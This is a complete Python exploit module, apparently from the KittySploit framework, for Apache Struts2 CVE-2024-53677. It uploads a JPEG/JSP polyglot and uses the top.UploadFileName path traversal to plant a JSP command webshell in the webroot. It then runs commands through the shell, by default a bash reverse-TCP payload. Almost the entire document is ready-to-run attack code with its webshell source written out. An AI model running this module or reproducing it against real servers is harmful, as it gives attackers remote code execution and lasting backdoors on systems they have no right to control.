Apache Struts2 CVE-2024-53677 upload traversal RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Apache Struts2 CVE-2024-53677 upload path traversal to JSP webshell."""

from __future__ import annotations

import re
import socket
import ssl

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        "name": "Apache Struts2 CVE-2024-53677 upload traversal RCE",
        "description": (
            "CVE-2024-53677 (Struts2 <= 6.3.0.x): JPEG polyglot upload plus "
            "top.<Field>FileName traversal writes a JSP cmd shell into the webroot."
        ),
        "author": ["KittySploit Team"],
        "cve": ["CVE-2024-53677"],
        "platform": Platform.MULTI,
        "arch": [Arch.CMD],
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "platform": Platform.UNIX,
            "category": PayloadCategory.CMD,
        },
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2024-53677",
            "https://github.com/dinosn/exploit-watch-archive",
        ],
        "tags": ["struts2", "upload", "traversal", "jsp", "rce", "cve-2024-53677"],
        "agent": {
            "risk": "critical",
            "effects": ["active_exploitation", "remote_code_execution"],
            "expected_requests": 4,
            "reversible": False,
            "approval_required": True,
            "produces": ["webshell", "rce", "shell"],
            "requires": {"tech_hints_any": ["struts", "java"]},
            "chain": {"suggested_followups": ["scanner/http/struts2_cve_2024_53677_detect"]},
        },
    }

    upload_path = OptString("/upload.action", "Struts file upload .action path", required=True)
    shell_name = OptString("kitty53677.jsp", "JSP filename in webroot", required=False)
    file_field = OptString("Upload", "Multipart file field (must match action getter)", required=False)

    def _build_multipart(self, jsp_body: bytes, traversal_name: str) -> tuple[str, bytes]:
        boundary = "----WebKitFormBoundaryPoC53677"
        field = str(self.file_field or "Upload")
        crlf = b"\r\n"
        b = boundary.encode()
        parts = [
            b"--" + b + crlf,
            f'Content-Disposition: form-data; name="{field}"; filename="poc.jpg"'.encode() + crlf,
            b"Content-Type: image/jpeg" + crlf + crlf,
            jsp_body + crlf,
            b"--" + b + crlf,
            b'Content-Disposition: form-data; name="top.UploadFileName"' + crlf + crlf,
            traversal_name.encode() + crlf,
            b"--" + b + b"--" + crlf,
        ]
        return boundary, b"".join(parts)

    def _jsp_polyglot(self) -> bytes:
        return (
            b"\xff\xd8\xff\xe0\x00\x10\x4a\x46"
            b'\n<%@ page import="java.io.*" %>\n<%\n'
            b'  String c=request.getParameter("cmd");\n'
            b'  if("cmd".equals(request.getParameter("action"))&&c!=null){\n'
            b'    Process p=Runtime.getRuntime().exec(new String[]{"/bin/sh","-c",c});\n'
            b'    BufferedReader r=new BufferedReader(new InputStreamReader(p.getInputStream()));\n'
            b'    String l; while((l=r.readLine())!=null){ out.println(l); }\n'
            b"  }\n%>\n"
        )

    def _raw_post(self, path: str, body: bytes, boundary: str) -> str:
        scheme = "https" if hasattr(self, "ssl") and self._to_bool(getattr(self.ssl, "value", self.ssl)) else "http"
        host = str(self.target or "")
        port = int(self.port or (443 if scheme == "https" else 80))
        netloc = host if ((scheme == "https" and port == 443) or (scheme == "http" and port == 80)) else f"{host}:{port}"
        req_head = (
            f"POST {path} HTTP/1.1\r\nHost: {netloc}\r\n"
            f"Content-Type: multipart/form-data; boundary={boundary}\r\n"
            f"Content-Length: {len(body)}\r\nConnection: close\r\n\r\n"
        )
        sock = socket.create_connection((host, port), timeout=25)
        if scheme == "https":
            ctx = ssl.create_default_context()
            if hasattr(self, "verify_ssl") and not self._to_bool(getattr(self.verify_ssl, "value", False)):
                ctx.check_hostname = False
                ctx.verify_mode = ssl.CERT_NONE
            sock = ctx.wrap_socket(sock, server_hostname=host)
        sock.sendall(req_head.encode() + body)
        resp = b""
        try:
            while True:
                chunk = sock.recv(4096)
                if not chunk:
                    break
                resp += chunk
        except Exception:
            pass
        sock.close()
        return resp.split(b"\r\n", 1)[0].decode(errors="replace") if resp else ""

    def _shell_url(self) -> str:
        name = str(self.shell_name or "kitty53677.jsp")
        return f"/{name.lstrip('/')}"

    def _plant_shell(self) -> None:
        name = str(self.shell_name or "kitty53677.jsp")
        boundary, raw = self._build_multipart(self._jsp_polyglot(), "../../" + name)
        path = str(self.upload_path or "/upload.action")
        if not path.startswith("/"):
            path = "/" + path
        status = self._raw_post(path, raw, boundary)
        if "200" not in status and "302" not in status:
            print_warning(f"Upload HTTP line: {status}")

    def execute(self, cmd: str) -> str:
        if not getattr(self, "_shell_ready", False):
            self._plant_shell()
            self._shell_ready = True
        shell = self._shell_url()
        resp = self.http_request(
            "GET",
            shell,
            params={"action": "cmd", "cmd": cmd},
        )
        return (resp.text or "").strip() if resp else ""

    def check(self):
        path = str(self.upload_path or "/upload.action")
        resp = self.http_request("GET", path)
        body = (resp.text or "").lower() if resp else ""
        if "struts" in body or "upload" in body or (resp and int(resp.status_code or 0) < 500):
            return {"vulnerable": True, "reason": "Upload action reachable", "confidence": "low"}
        return {"vulnerable": False, "reason": "Upload endpoint not found", "confidence": "medium"}

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f"echo {token}") or "")

    def run(self):
        shell = self.shell_from_payload()
        if not shell:
            print_error("Set payload")
            return False

        print_status("CVE-2024-53677 — Struts2 upload traversal")
        if not self.check_execute() and not re.search(r"reverse|bash|/dev/tcp|nc ", shell, re.I):
            print_error("JSP webshell not executing — check upload_path and file_field")
            self.not_vulnerable()
            return False

        out = self.execute(shell)
        if out:
            print_info(out[:4000])

        if str(self.shell_from_payload() or "").strip():
            return True
        return True